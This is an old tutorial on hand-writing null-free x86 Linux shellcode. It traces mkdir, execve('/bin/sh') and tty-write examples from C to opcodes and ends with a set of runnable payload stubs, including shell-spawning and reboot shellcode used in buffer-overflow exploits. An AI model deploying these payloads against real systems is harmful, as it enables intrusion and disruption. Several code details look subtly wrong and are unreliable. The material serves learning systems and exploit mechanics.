Although tedious and abstract, shellcoding is an important skill to learn in order to understand the underlying concepts of computer systems. Shellcode is also important for the understanding of computer security where shellcode is used to exploit vulnerable applications. In this article, we will be working on Linux using the IA-32(x86) architecture. Knowledge of C and IA-32 assembly, as well as knowledge of how to use gdb is helpful. The approach ^^^^^^^^^^^^ Usually the first step is getting to know your function's(or syscall) arguments. For our first example, we will create a directory called "1337". In order to do this, we must first look up the syscall for mkdir and the arguments for mkdir. A decent list of system calls can be found at .http://www.linuxassembly.org/syscall.html. By looking on there, we find that the syscall for mkdir is 39(0x27). By doing a bit of googling, we can see that the arguments for mkdir is: int mkdir(const char *path, mode_t) The path of our directory will be a pointer. The mode is an integer. The second step is to write a program in C that will create a directory called "1337". mkdir.c ------------------------------------------------------------------------ #include int main() { mkdir("1337", 0755); return 0; } ------------------------------------------------------------------------ Extracting the Information ########################## After we write this code, we want to compile it, run it, and then check out the assembly code of it using gdb, as our third step: ------------------------------------------------------------------------ eric@debian:~/shellcode$ gcc -o mkdir mkdir.c eric@debian:~/shellcode$ ./mkdir eric@debian:~/shellcode$ ls -l total 16 drwxr-xr-x 2 eric eric 4096 Nov 10 00:11 1337 -rwxr-xr-x 1 eric eric 4810 Nov 10 00:11 mkdir -rw-r--r-- 1 eric eric 71 Nov 10 00:07 mkdir.c eric@debian:~/shellcode$ gdb mkdir GNU gdb 2002-04-01-cvs Copyright 2002 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-linux"...(no debugging symbols found)... (gdb) disassemble main Dump of assembler code for function main: 0x80483f0
: push %ebp 0x80483f1 : mov %esp,%ebp 0x80483f3 : sub $0x8,%esp 0x80483f6 : add $0xfffffff8,%esp 0x80483f9 : push $0x1ed 0x80483fe : push $0x8048474 0x8048403 : call 0x80482d0 0x8048408 : add $0x10,%esp 0x804840b : xor %eax,%eax 0x804840d : jmp 0x8048410 0x804840f : nop 0x8048410 : leave 0x8048411 : ret 0x8048412 : lea 0x0(%esi,1),%esi 0x8048419 : lea 0x0(%edi,1),%edi End of assembler dump. ------------------------------------------------------------------------ The code worked. It created a directory called "1337" with permissions of 755. If I had set my permissions to 777, the permissions still would have been 755, because of the umask set as 022. From the disassembled code, we can extract the information we need in order to create the assembly code. What we need to look at is the fifth and sixth lines. The first push instruction is pushing the second argument which was the mode. Despite setting the mode to 0755, the mode that we will use for our assembly code is 0x1ed. The second push is pushing the memory address, which points to the name of the directory we are creating. The program then goes and calls the mkdir() function and then returns back to 0x8048408. Creating the Assembly Code ~~~~~~~~~~~~~~~~~~~~~~~~~~ The first thing we want to do is put the name of our directory into a buffer. We do this by using the stack. The stack allows us to place data into contiguous memory regions. Since the stack uses something called LIFO(Last In First Out) or FILO(First In Last Out), we have to place everything onto the stack in reverse order. But we can only do this four bytes at a time. Our string must be converted from ASCII to hexadecimal. The hexadecimal equivilant of "1337" is 0x31333337. A string must also be padded with a null byte to terminate it. Time to place it onto the stack: pushl $0x0 pushl $0x37333331 We now have our string in a contiguous memory region. In order to set up the parameters for any system call, the four 32-bit general registers EAX, EBX, ECX, and EDX, the four 16-bit general registers, AX, BX, CX, and DX, or the four 8-bit general registers, AL, BL, CL, and DL are used. The arguments that are placed into the general purpose registers must also be placed in reverse order. We need to first place the mode into a register. Remember, the mode is an integer: movl $0x1ed, %ecx Now we must use the stack pointer as our directory argument. The stack pointer(ESP) points to the top of the stack, where our string is located. The stack on IA-32 grows downwards, or towards lower memory addresses: movl %esp, %ebx After that is completed, we must put the system call number, which is 0x27(or 39 in decimal), into EAX and then dive into kernel mode: movl $0x27, %eax int $0x80 Our last part of the program is to run the exit syscall. We want to return 0 to show a successful run. By doing this, we must place 0 into EBX. To do so, we can do an Exclusive OR on the register itself. The exit syscall is 0x1: xorl %ebx, %ebx movl $0x1, %eax int $0x80 When we put this all together, we get something like this: mkdir.s ------------------------------------------------------------------------ .section .text .global main main: pushl $0x0 pushl $0x37333331 movl $0x1ed, %ecx movl %esp, %ebx movl $0x27, %eax int $0x80 xorl %ebx, %ebx movl $0x1, %eax int $0x80 ------------------------------------------------------------------------ Patch Work ++++++++++ We want to try to avoid using 0's in our assembly code. First, they look ugly, and they also take up unneccessary bytes. For instance, there's no need to use a 32-bit register when you're only placing 8 or 16 bits of data into it! For a hacker's purpose, the null bytes cannot be used in his or her exploits because a null byte terminates a string. In order to fix our problem, we will change the following: pushl $0x0 | xorl %eax, %eax | pushl %eax movl $0x1ed, %ecx | movw $0x1ed, %cx movl $0x27, %eax | movb $0x27, %al movl $0x1, %eax | movl %ebx, %eax | incl %eax Now that the patch work is done, we have our new code: mkdir.s ------------------------------------------------------------------------ .section .text .global main main: xorl %eax, %eax pushl %eax pushl $0x37333331 movw $0x1ed, %cx movl %esp, %ebx movb $0x27, %al int $0x80 xorl %ebx, %ebx movl %ebx, %eax incl %eax int $0x80 ------------------------------------------------------------------------ Writing the Shellcode ````````````````````` Finally it is time to write our shellcode. We need to assemble our patched assembly code, and see if it works: ------------------------------------------------------------------------ eric@debian:~/shellcode$ gcc -o mkdir mkdir.s eric@debian:~/shellcode$ ./mkdir eric@debian:~/shellcode$ ls -l total 20 drwxr-xr-x 2 eric eric 4096 Nov 10 02:24 1337 -rwxr-xr-x 1 eric eric 4593 Nov 10 02:23 mkdir -rwxr-xr-x 1 eric eric 544 Nov 10 02:07 mkdir.c -rwxr-xr-x 1 eric eric 206 Nov 10 02:01 mkdir.s ------------------------------------------------------------------------ Yep! It works! Now we need to extract the opcodes using gdb. ------------------------------------------------------------------------ eric@debian:~/shellcode$ gdb mkdir GNU gdb 2002-04-01-cvs Copyright 2002 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-linux"...(no debugging symbols found)... (gdb) x/30b main 0x80483c0
: 0x31 0xc0 0x50 0x68 0x31 0x33 0x33 0x37 0x80483c8 : 0x66 0xb9 0xed 0x01 0x89 0xe3 0xb0 0x27 0x80483d0 : 0xcd 0x80 0x31 0xdb 0x89 0xd8 0x40 0xcd 0x80483d8 : 0x80 0x8d 0x76 0x00 0x90 0x90 ------------------------------------------------------------------------ We need to clean this up a bit. I would do it by copying and pasting the gdb output into a text file, remove everything before the ":"s, remove all the spaces, and to a search/replace on all the "0x"s with "\x"s. It is also necessary to cut out all of the opcodes after the last 0x80 or \x80, because the rest are not important to the construction of shellcode. When we neaten the opcodes up, we get something similar to this: ------------------------------------------------------------------------ x31xc0x50x68x31x33x33x37 x66xb9xedx01x89xe3xb0x27 xcdx80x31xdbx89xd8x40xcd x80 ------------------------------------------------------------------------ Our shellcode then looks something like this: mkdir.c ------------------------------------------------------------------------ #include char shellcode[] = "\x31\xc0\x50\x68\x31\x33\x33\x37" "\x66\xb9\xed\x01\x89\xe3\xb0\x27" "\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80"; int main(void) { int * ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; } ------------------------------------------------------------------------ Let us compile and run our shellcode to see if it works. ------------------------------------------------------------------------ eric@debian:~/shellcode$ gcc -o mkdir mkdir.c eric@debian:~/shellcode$ ./mkdir eric@debian:~/shellcode$ ls -l total 20 drwxr-xr-x 2 eric eric 4096 Nov 10 02:44 1337 -rwxr-xr-x 1 eric eric 4755 Nov 10 02:44 mkdir -rwxr-xr-x 1 eric eric 544 Nov 10 02:07 mkdir.c -rwxr-xr-x 1 eric eric 206 Nov 10 02:01 mkdir.s ------------------------------------------------------------------------ Thankfully it worked! Constructing shellcode is a very tedious task, as you can see. I'm sure if you were patient enough to read up to here, you will continue reading. More Examples ************* For another example of writing shellcode, we will write shellcode that spawns a shell. This is often seen in the computer security field. Often, hackers spawn shells in their buffer overflow exploits. This is doine by changing the return address in the stack to an address where the shell spawning shellcode is located. We first start out with examining our syscall(or function) in C. In order to execute any program, we will use execve(). Execve() is both a system call and a C function. By looking at our chart, we find out that execve's number is 0xb, or 11. Then by looking at our man pages, we can find the arguments needed for execve(). int execve(const char *filename, char *const argv[], char *const envp[]) In C, we will get something like this: shspawn.c ------------------------------------------------------------------------ #include int main() { char *name[2]; name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL); return 0; } ------------------------------------------------------------------------ Now we want to write this in assembly. We need to first create our path. Our path will be "/bin//sh". The extra "/" is an escape character used in order to distinguish slash that follows it. Then of course, in order to end any string, we must have a null byte. Our second argument is the entire character array. And our third argument is NULL. So in order to construct our code, we must first end our string with the null byte: xorl %eax, %eax xorl %ecx, %ecx xorl %edx, %edx pushl %edx Now we need to push our string backwards, four bytes at a time: pushl $0x68732f2f pushl $0x6e69622f Now that we have our completed string on the stack, we need to move it into a register. The path argument in our C function was the first; now it is the last, so ESP, which is pointing to our string, will be placed into EBX: movl %esp, %ebx We then need to set up our second argument, which was our string and a NULL and then place it into it's respective register: pushl %edx pushl %ebx movl %esp, %ecx Once that is complete, we can now place the system call for execve, 0xb, into EAX, then go into kernel mode: movb $0xb, %al int $0x80 Lastly, we must end our program with exit(0): xorl %ebx, %ebx movl %ebx, %eax incl %eax int $0x80 Now that we have that, let's put the pieces together and construct our assembly code. The null bytes have already been removed: shspawn.s ------------------------------------------------------------------------ .section .text .global main main: xorl %eax, %eax xorl %ebx, %ebx xorl %ecx, %ecx xorl %edx, %edx pushl %edx pushl $0x68732f2f pushl $0x6e69622f movl %esp, %ebx pushl %edx pushl %ebx movl %esp, %ecx movl $0xb, %eax int $0x80 xorl %ebx, %ebx movl %ebx, %eax incl %eax int $0x80 ------------------------------------------------------------------------ Let us now assemble and extract the opcodes: ------------------------------------------------------------------------ eric@debian:~/shellcode$ gcc -o shspawn shspawn.s eric@debian:~/shellcode$ gdb shspawn GNU gdb 2002-04-01-cvs Copyright 2002 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-linux"...(no debugging symbols found)... (gdb) disassemble main Dump of assembler code for function main: 0x80483c0
: xor %eax,%eax 0x80483c2 : xor %ebx,%ebx 0x80483c4 : xor %ecx,%ecx 0x80483c6 : xor %edx,%edx 0x80483c8 : push %edx 0x80483c9 : push $0x68732f2f 0x80483ce : push $0x6e69622f 0x80483d3 : mov %esp,%ebx 0x80483d5 : push %edx 0x80483d6 : push %ebx 0x80483d7 : mov %esp,%ecx 0x80483d9 : mov $0xb,%al 0x80483db : int $0x80 0x80483dd : xor %ebx,%ebx 0x80483df : mov %ebx,%eax 0x80483e1 : inc %eax 0x80483e2 : int $0x80 0x80483e4 : nop 0x80483e5 : nop 0x80483e6 : nop ---Type to continue, or q to quit--- 0x80483e7 : nop 0x80483e8 : nop 0x80483e9 : nop 0x80483ea : nop 0x80483eb : nop 0x80483ec : nop 0x80483ed : nop 0x80483ee : nop 0x80483ef : nop End of assembler dump. (gdb) x/36b main 0x80483c0
: 0x31 0xc0 0x31 0xdb 0x31 0xc9 0x31 0xd2 0x80483c8 : 0x52 0x68 0x2f 0x2f 0x73 0x68 0x68 0x2f 0x80483d0 : 0x62 0x69 0x6e 0x89 0xe3 0x52 0x53 0x89 0x80483d8 : 0xe1 0xb0 0x0b 0xcd 0x80 0x31 0xdb 0x89 0x80483e0 : 0xd8 0x40 0xcd 0x80 ------------------------------------------------------------------------ When we extract the opcodes, we get our shellcode: shspawn.c ------------------------------------------------------------------------ #include char shellcode[] = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2" "\x52\x68\x2f\x2f\x73\x68\x68\x2f" "\x62\x69\x6e\x89\xe3\x52\x53\x89" "\xe1\xb0\x0b\xcd\x80\x31\xdb\x89" "\xd8\x40\xcd\x80"; int main(void) { int * ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; } ------------------------------------------------------------------------ When we compile and run it, it should spawn sh: ------------------------------------------------------------------------ eric@debian:~$ cd shellcode eric@debian:~/shellcode$ gcc -o shspawn shspawn.c eric@debian:~/shellcode$ ./shspawn sh-2.05a$ exit exit ------------------------------------------------------------------------ Some variants of the above code exist; http://uc.zemos.net/sc/UCexecve.c ======================================================================== For our third example, we will write the message "Hello World!" to /dev/tty1. Let's first check out the system calls we need to use: int sys_open(const char * filename, int flags, int mode) -&- ssize_t sys_write(unsigned int fd, const char * buf, size_t count) One aspect of open is crucial in designing our shellcode; open() returns the file descriptor(fd). Writing the C code comes first: vt.c ------------------------------------------------------------------------ #include #include #include #include int main() { int fd = open("/dev/tty1", O_RDWR); char[] buf = "Hello World!"; int len = strlen(buf); write(fd, buf, len); return 0; } ------------------------------------------------------------------------ After compiling the above code, you should login as root, chvt to tty1(chvt 1) and try running the program: ------------------------------------------------------------------------ debian:/home/eric/shellcode# gcc -o vt vt.c debian:/home/eric/shellcode# ./vt Hello World! debian:/home/eric/shellcode# ------------------------------------------------------------------------ The code did in fact did work. We now need to write the assembly code. Let's start off with examining the disassembled code using gdb: ------------------------------------------------------------------------ eric@debian:~/shellcode$ gdb vt GNU gdb 2002-04-01-cvs Copyright 2002 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-linux"...(no debugging symbols found)... (gdb) disassemble main Dump of assembler code for function main: 0x8048450
: push %ebp 0x8048451 : mov %esp,%ebp 0x8048453 : sub $0x28,%esp 0x8048456 : add $0xfffffff8,%esp 0x8048459 : push $0x2 0x804845b : push $0x80485e4 0x8048460 : call 0x8048358 0x8048465 : add $0x10,%esp 0x8048468 : mov %eax,%eax 0x804846a : mov %eax,0xfffffffc(%ebp) 0x804846d : lea 0xffffffec(%ebp),%edx 0x8048470 : mov $0x80485ee,%eax 0x8048475 : mov (%eax),%edx 0x8048477 : mov %edx,0xffffffec(%ebp) 0x804847a : mov 0x4(%eax),%edx 0x804847d : mov %edx,0xfffffff0(%ebp) 0x8048480 : mov 0x8(%eax),%edx 0x8048483 : mov %edx,0xfffffff4(%ebp) 0x8048486 : movzwl 0xc(%eax),%eax 0x804848a : mov %ax,0xfffffff8(%ebp) 0x804848e : add $0xfffffff4,%esp 0x8048491 : lea 0xffffffec(%ebp),%eax ---Type to continue, or q to quit--- 0x8048494 : push %eax 0x8048495 : call 0x8048338 0x804849a : add $0x10,%esp 0x804849d : mov %eax,0xffffffe8(%ebp) 0x80484a0 : add $0xfffffffc,%esp 0x80484a3 : mov 0xffffffe8(%ebp),%eax 0x80484a6 : push %eax 0x80484a7 : lea 0xffffffec(%ebp),%eax 0x80484aa : push %eax 0x80484ab : mov 0xfffffffc(%ebp),%eax 0x80484ae : push %eax 0x80484af : call 0x8048318 0x80484b4 : add $0x10,%esp 0x80484b7 : xor %eax,%eax 0x80484b9 : jmp 0x80484c0 0x80484bb : nop 0x80484bc : lea 0x0(%esi,1),%esi 0x80484c0 : leave 0x80484c1 : ret 0x80484c2 : lea 0x0(%esi,1),%esi 0x80484c9 : lea 0x0(%edi,1),%edi End of assembler dump. ------------------------------------------------------------------------ Let us focus on the two lines before the call to open(). It says push 0x2 and push $0x80485e4. The first push is placing "O_RDWR" onto the stack. The second push is placing the memory address where our string "/dev/tty1" onto the stack. When we write our own code, we first need to push a null byte in order to terminate the string: xorl %eax, %eax pushl %eax Then we need to push our string "/dev/tty1" onto the stack. The last two bytes MUST be pushed seperately. If they are pushed as "0x3179", then the assembler will automatically fill the last two bytes with 0's: pushl $0x31 pushl $0x79 pushl $0x74742f2f pushl $0x7665642f Now that we have our string on the stack, we need to set up the arguments for the open syscall. First we move 0_RDWR(0x2) into CL and then we move the pointer to our string, which is ESP, to EBX. After that, we place the system call number into AL and jump into kernel mode: movb $0x2, %cl movl %esp, %ebx movb $0x5, %eax int $0x80 The return value for open() is the file descriptor for /dev/tty1. A function always places the return value into EAX. Since the fd is the first argument for write(), we'll place it into EBX. We need to do this first because we need to now set up our string, "Hello World!" by Exclusive ORing EAX with itself: movl %eax, %ebx xorl %eax, %eax pushl %eax After that is complete, we need to push the rest of our "Hello World!" string onto the stack: pushl $0x0a pushl $0x21646c72 pushl $0x6f57206f pushl $0x6c6c6548 Now to set up the last two arguments for write(), place the system call number into EAX, and jump into kernel mode: movb $0xd, %dl movl %esp, %ecx movb $0x4, %al int $0x80 Finally, end the program with exit(0): xorl %ebx, %ebx movl %ebx, %eax incl %eax int $0x80 But before we write our completed assembly code, we need to do one last thing. Because we are sometimes using 8-bit registers, the top 24 bits may be filled with other data that may cause our program to execute in an undesirable way. To fix this, we need to zero out all of the registers at the beginning. EAX has already been 0'd out: xorl %edx, %edx xorl %ecx, %ecx xorl %ebx, %ebx All together, the code should look like this: vt.s ------------------------------------------------------------------------ .section .text .global main main: xorl %edx, %edx xorl %ecx, %ecx xorl %ebx, %ebx xorl %eax, %eax pushl %eax pushl $0x31 pushl $0x79 pushl $0x74742f2f pushl $0x7665642f movb $0x2, %cl movl %esp, %ebx movb $0x5, %al int $0x80 movl %eax, %ebx xorl %eax, %eax pushl %eax pushl $0x0a pushl $0x21646c72 pushl $0x6f57206f pushl $0x6c6c6548 movb $0xd, %dl movl %esp, %ecx movb $0x4, %al int $0x80 xorl %ebx, %ebx movl %ebx, %eax incl %eax int $0x80 ------------------------------------------------------------------------ After assembling your code, you can then fetch the opcodes using gdb. Your the shellcode below is the complete shellcode in order to write "Hello World!" to /dev/tty1. vt.c ------------------------------------------------------------------------ #include char shellcode[] = "\x31\xd2\x31\xc9\x31\xdb\x31\xc0" "\x50\x6a\x31\x6a\x79\x68\x2f\x2f" "\x74\x74\x68\x2f\x64\x65\x76\xb1" "\x02\x89\xe3\xb0\x05\xcd\x80\x89" "\xc3\x31\xc0\x50\x6a\x0a\x68\x72" "\x6c\x64\x21\x68\x6f\x20\x57\x6f" "\x68\x48\x65\x6c\x6c\xb2\x0d\x89" "\xe1\xb0\x04\xcd\x80\x31\xdb\x89" "\xd8\x40\xcd\x80"; int main(void) { int * ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; } ------------------------------------------------------------------------ The original of the vt code* can be found at http://uc.zemos.net/sc These shellcodes and more can be found below. The idea for the vt shellcode was conspired by mikecc of Zemos after viewing my own original shellcode. Because of mikecc's superior coding abilities, he managed to code the first vt shellcode while I completed mine hours later. hostname.c ------------------------------------------------------------------------ /* author: the_swede * title: hostname * description: sets hostname to "1337". */ #include /* * xorl %eax, %eax * pushl %edx * pushl $0x37333331 * movb $0x04, %cl * movl %esp, %ebx * movb $0x4a, %al * int $0x80 * * xorl %ebx, %ebx * movl %ebx, %eax * incl %eax * int $0x80 */ char shellcode[] = "\x31\xc0\x50\x68\x31\x33\x33\x37" "\xb1\x04\x89\xe3\xb0\x4a\xcd\x80" "\x31\xdb\x89\xd8\x40\xcd\x80"; int main(void) { int * ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; } ------------------------------------------------------------------------ mkdir.c ------------------------------------------------------------------------ /* author: the_swede * title: mkdir * description: creates a directory titled "1337". */ #include /* * xorl %eax, %eax * pushl %eax * pushl $0x37333331 * * movw $0x1ed, %cx * movl %esp, %ebx * movb $0x27, %al * int $0x80 * * xorl %ebx, %ebx * movl %ebx, %eax * incl %eax * int $0x80 */ char shellcode[] = "\x31\xc0\x50\x68\x31\x33\x33\x37" "\x66\xb9\xed\x01\x89\xe3\xb0\x27" "\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80"; int main(void) { int * ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; } ------------------------------------------------------------------------ reboot.c ------------------------------------------------------------------------ /* * Author: the_swede * Title: reboot * Date: 6/8/03 * Description: reboots Linux. */ #include /* * pushl $0xfee1dead * popl %ebx * pushl $0x16041998 * popl %ecx * pushl $0x1234567 * xorl %eax, %eax * popl %edx * movb $0x58, %al * int $0x80 * * xorl %ebx, %ebx * movl %ebx, %eax * incl %eax * int $0x80 */ char shellcode[] = "\x68\xad\xde\xe1\xfe\x5b\x68\x98" "\x19\x04\x16\x59\x68\x67\x45\x23" "\x01\x31\xc0\x5a\xb0\x58\xcd\x80" "\x31\xdb\x89\xd8\x40\xcd\x80"; int main(void) { int * ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; } ------------------------------------------------------------------------ shspawn.c ------------------------------------------------------------------------ /* * Title: shspawn * Author: the_swede * Date: 6/8/03 * Description: shellcode that spawns /bin/sh. */ #include /* * xorl %edx, %edx * pushl %edx * pushl $0x68732f2f * pushl $0x6e69622f * * movl %esp, %ebx * pushl %edx * pushl %ebx * movl %esp, %ecx * movb $0xb, %al * int $0x80 * * xorl %ebx, %ebx * movl %ebx, %eax * incl %eax * int $0x80 */ char shellcode[] = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2" "\x52\x68\x2f\x2f\x73\x68\x68\x2f" "\x62\x69\x6e\x89\xe3\x52\x53\x89" "\xe1\xb0\x0b\xcd\x80\x31\xdb\x89" "\xd8\x40\xcd\x80"; int main(void) { int * ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; } ------------------------------------------------------------------------ vt.c ------------------------------------------------------------------------ /* author: the_swede * title: vt * description: writes "Hello World!" to /dev/tty1. */ #include /* * xorl %edx, %edx * xorl %ecx, %ecx * xorl %ebx, %ebx * * xorl %eax, %eax * pushl %eax * pushl $0x31 * pushl $0x79 * pushl $0x74742f2f * pushl $0x7665642f * * movb $0x2, %cl * movl %esp, %ebx * movb $0x5, %al * int $0x80 * * movl %eax, %ebx * * xorl %eax, %eax * pushl %eax * pushl $0x0a * pushl $0x21646c72 * pushl $0x6f57206f * pushl $0x6c6c6548 * * movb $0xd, %dl * movl %esp, %ecx * movb $0x4, %al * int $0x80 * * xorl %ebx, %ebx * movl %ebx, %eax * incl %eax * int $0x80 */ char shellcode[] = "\x31\xd2\x31\xc9\x31\xdb\x31\xc0" "\x50\x6a\x31\x6a\x79\x68\x2f\x2f" "\x74\x74\x68\x2f\x64\x65\x76\xb1" "\x02\x89\xe3\xb0\x05\xcd\x80\x89" "\xc3\x31\xc0\x50\x6a\x0a\x68\x72" "\x6c\x64\x21\x68\x6f\x20\x57\x6f" "\x68\x48\x65\x6c\x6c\xb2\x0d\x89" "\xe1\xb0\x04\xcd\x80\x31\xdb\x89" "\xd8\x40\xcd\x80"; int main(void) { int * ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; } ------------------------------------------------------------------------ write.c ------------------------------------------------------------------------ /* author: the_swede * title: write * description: writes "Hello World!" */ #include /* * xorl %edx, %edx * xorl %ecx, %ecx * * xorl %eax, %eax * pushl %eax * pushl $0x0a * pushl $0x21646c72 * pushl $0x6f57206f * pushl $0x6c6c6548 * * movb $0xd, %dl * movl %esp, %ecx * xorl %ebx, %ebx * movb $0x4, %al * int $0x80 * * xorl %ebx, %ebx * movl %ebx, %eax * incl %eax * int $0x80 */ char shellcode[] = "\x31\xd2\x31\xc9\x31\xc0\x50\x6a" "\x0a\x68\x72\x6c\x64\x21\x68\x6f" "\x20\x57\x6f\x68\x48\x65\x6c\x6c" "\xb2\x0d\x89\xe1\x31\xdb\xb0\x04" "\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80"; int main(void) { int * ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; }